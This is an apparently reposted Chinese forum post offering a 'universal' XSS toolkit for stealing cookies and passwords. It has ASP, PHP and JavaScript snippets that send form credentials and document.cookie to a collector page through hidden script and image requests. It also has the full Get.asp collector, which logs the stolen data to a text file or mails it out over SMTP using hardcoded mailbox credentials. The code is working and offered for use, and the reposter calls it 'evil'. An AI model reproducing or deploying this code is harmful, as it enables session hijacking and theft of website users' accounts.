XSS/偷取密码/Cookies通用脚本

【白银时代】备注：这东西貌似比较邪恶的说，出了事别来找我，直接找原作者……

来源：http://www.5luyu.cn/article/605.htm

很多人经常需要XSS得到别人Cookies或者要在网页里插入脚本或许密码。
今天写个通用脚本工具
文件如下

asp.asp或者php.php 或者cookies.htm效果如下
保存文本
 

发送邮件

获取的cookies

截获用户名密码

主文件Get.asp用来获取发来的信息,并且保存到 TXT或者发送到邮箱
内容如下: 使用方法：
asp.asp是Asp中调用Get.asp的例子内容如下
即在存在需要获取的变量的地方添加如下JS代码即可
通常在页面最下面添加即可。因为变量一般赋值后都不会清空。
如果在asp脚本中间需要添加JS则需要先闭合语句 php.php是PHP中使用例子。代码如下: cookies.htm是用来获取Cookies的例子
代码如下: 有任何问题和意见跟帖。。。
另外。
所有的参数可以自己添加。你可以Get.asp?a=abc&b=abc&c=abcZ&...多少个变量都行...Get.asp?账号=abc&密码=abc这样也可以
具体自己用用就明白了。
需要深入处理Cookies的自己根据实际情况调整吧。。
这只是一个通用的。方便例子。呼呼。

<%
username="admin"
password="admin888"
%>
<script src="get.asp?username=<%=username%>&password=<%=password%>" />
<%
response.write Response.Cookies()
%>

<?
$username="admin";
$password="admin888";
?>
<script src="get.asp?username=<?=$username;?>&password=<?=$password;?>"/>

<script>
var url="Get.asp?cookies="+document.cookie;
var image = new Image();
image.style.width = 0;
image.style.height = 0;
image.src = url;
</script>

<%
SaveFile="pass.txt" '保存获取数据的TXT
IfSendMail=true '是否使用邮件发送,如果True则发送邮件不保存TXT 如果false则保存txt而不发送邮件
YourSendMail="521hack@163.com" '用来发送的邮箱
YourSendMailUser="521hack" '邮箱登陆用户名
YourSendMailPass="123456abcf" '邮箱登陆密码 (以上3项邮箱、账号、密码改成自己的) 这里用我的备用邮箱给你们测试,24小时后我修改密码...
YourSendMailServer="smtp.163.com" '邮件服务器
YourMailTitle="有新截获的数据来了!" '邮件标题
YourRecvMail="xxxx@qq.com" '收取截获数据的邮箱，建议使用QQ邮箱,可以实时提示,让你第时间得到要的信息

sub sendmail(content)
On error resume next
dim JMail 
Set JMail = Server.CreateObject("JMail.Message") 
JMail.Logging = True 
JMail.Charset = "gb2312" 
JMail.ContentType = "text/html" 
JMail.From = YourSendMail
JMail.FromName = ""&YourSendMailUser
JMail.MailServerUserName = YourSendMailUser
JMail.MailServerPassword = YourSendMailPass
JMail.Priority = 1 
JMail.AddRecipient YourRecvMail
JMail.Subject = YourMailTitle
JMail.Body = content
JMail.Send("smtp.163.com") 
Set JMail = nothing 
If err then 
Response.write "发送失败!请检查配置!并确认你的服务器是否支持Jmail!"
else
Response.write "发送成功!"
end if
end sub

GetPostStr=Request.QueryString
if GetPostStr="" then
Response.write "None!"
end if

if ifsendmail then
StrTemp=Replace(GetPostStr,"=",":")
StrTemp=Replace(StrTemp,"&","<br>")
sendmail(StrTemp)
else
set F=server.CreateObject("scripting.filesystemobject")
set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0)
TempStr=Split(GetPostStr,"&")
for TempI=0  To Ubound(TempStr)
I.WriteLine(Replace(TempStr(TempI),"=",":"))
next
I.WriteLine(now())
I.WriteLine("--------------------------------")
I.close
Set F=nothing
end if
%>